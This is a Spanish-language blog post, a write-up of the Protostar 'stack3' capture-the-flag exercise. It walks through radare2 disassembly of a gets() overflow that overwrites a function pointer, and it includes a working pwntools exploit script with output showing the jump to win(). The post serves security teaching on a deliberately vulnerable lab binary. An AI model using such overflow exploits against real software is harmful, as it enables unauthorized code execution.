Pages

domingo, 29 de julio de 2018

Protostar CTF - stack3

Como de costumbre comenzamos ejecutando el binario vulnerable en busca de alguna pista en su comportamiento:

dpc@kernelinside:~/protostar/bin$ ./stack3
test
dpc@kernelinside:~/protostar/bin$ 

La entrada proviene de stdin, pero ahora ya no hay chico malo para confirmar los resultados. Suerte que a radare2 no se le escapa nada:

dpc@kernelinside:~/protostar/bin$ r2 ./stack3
[0x08048370]> aas
[0x08048370]> e asm.bytes=false
[0x08048370]> iz
000 0x00000540 0x08048540  30  31 (.rodata) ascii code flow successfully changed
001 0x00000560 0x08048560  44  45 (.rodata) ascii calling function pointer, jumping to 0x%08x\n

Si las pistas no mienten, parece que un puntero a función es llamado en algún momento y que existe la posibilidad de sobreescribir este y redirigir el flujo de ejecución. Preguntemos a r2 dónde se utiliza el string de chico bueno:

[0x08048370]> axt 0x08048540
sym.win 0x804842a [DATA] mov dword [esp], str.code_flow_successfully_changed
[0x08048370]> axt sym.win
[0x08048370]> pdf @ sym.win
/ (fcn) sym.win 20
|   sym.win ();
|           0x08048424      push ebp
|           0x08048425      mov ebp, esp
|           0x08048427      sub esp, 0x18
|           0x0804842a      mov dword [esp], str.code_flow_successfully_changed ; [0x8048540:4]=0x65646f63 ; "code flow successfully changed"
|           0x08048431      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048436      leave
\           0x08048437      ret

win() no se llama desde ninguna parte del binario, ese es nuestro objetivo.

[0x08048370]> afl
...
0x08048424    1 20           sym.win
0x08048438    3 65           sym.main
...

Veamos main():

[0x08048370]> s main
[0x08048438]> pdf
|           ;-- main:
/ (fcn) sym.main 65
|   sym.main ();
|           ; var int local_4h @ esp+0x4
|           ; var int local_1ch @ esp+0x1c
|           ; var int local_5ch @ esp+0x5c
|           ; DATA XREF from sym._start (0x8048387)
|           0x08048438      push ebp
|           0x08048439      mov ebp, esp
|           0x0804843b      and esp, 0xfffffff0
|           0x0804843e      sub esp, 0x60                              ; '`'
|           0x08048441      mov dword [local_5ch], 0
|           0x08048449      lea eax, [local_1ch]                       ; 0x1c ; 28
|           0x0804844d      mov dword [esp], eax
|           0x08048450      call sym.imp.gets                          ; char *gets(char *s)

local_5c que ahora parece ser nuestro function pointer fcn_ptr se establece a NULL. Luego gets() recoge los datos de entrada en el buffer local_1ch.

|           0x08048455      cmp dword [local_5ch], 0
|       ,=< 0x0804845a      je 0x8048477
|       |   0x0804845c      mov eax, str.calling_function_pointer__jumping_to_0x_08x ; 0x8048560 ; "calling function pointer, jumping to 0x%08x\n"
|       |   0x08048461      mov edx, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|       |   0x08048465      mov dword [local_4h], edx
|       |   0x08048469      mov dword [esp], eax
|       |   0x0804846c      call sym.imp.printf                        ; int printf(const char *format)
|       |   0x08048471      mov eax, dword [local_5ch]                 ; [0x5c:4]=-1 ; '\' ; 92
|       |   0x08048475      call eax
|       `-> 0x08048477      leave
\           0x08048478      ret

Si fcn_ptr != NULL se invoca la función apuntada por este y el programa finaliza. La única forma de que fcn_ptr sea distinto de NULL es, como siempre, desbordando el buffer que le precede (64 bytes) y sobreescribiendo su contenido. Ya hemos visto que la dirección de win() es 0x08048424, con lo que ya disponemos de todos los ingredientes para un exploit infalible:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack3"

padding  = "A"*64
win_addr = 0x08048424

def exploit():
        payload = padding + p32(win_addr)
        p = process(context.binary.path)
        p.sendline(payload)
        print(p.recv())

if __name__ == "__main__":
        exploit()

Ta ta ta chán...

dpc@kernelinside:~/protostar/bin$ python exp_stack3.py 
[*] '/home/dpc/protostar/bin/stack3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack3': pid 1820
[*] Process '/home/dpc/protostar/bin/stack3' stopped with exit code 31 (pid 1820)
calling function pointer, jumping to 0x08048424
code flow successfully changed

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...